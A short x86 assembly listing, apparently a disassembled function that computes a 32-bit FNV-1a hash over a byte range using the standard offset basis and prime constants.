mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x485e41
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x485e30
pop edi
mov eax, edx
pop esi
pop ebp
ret 8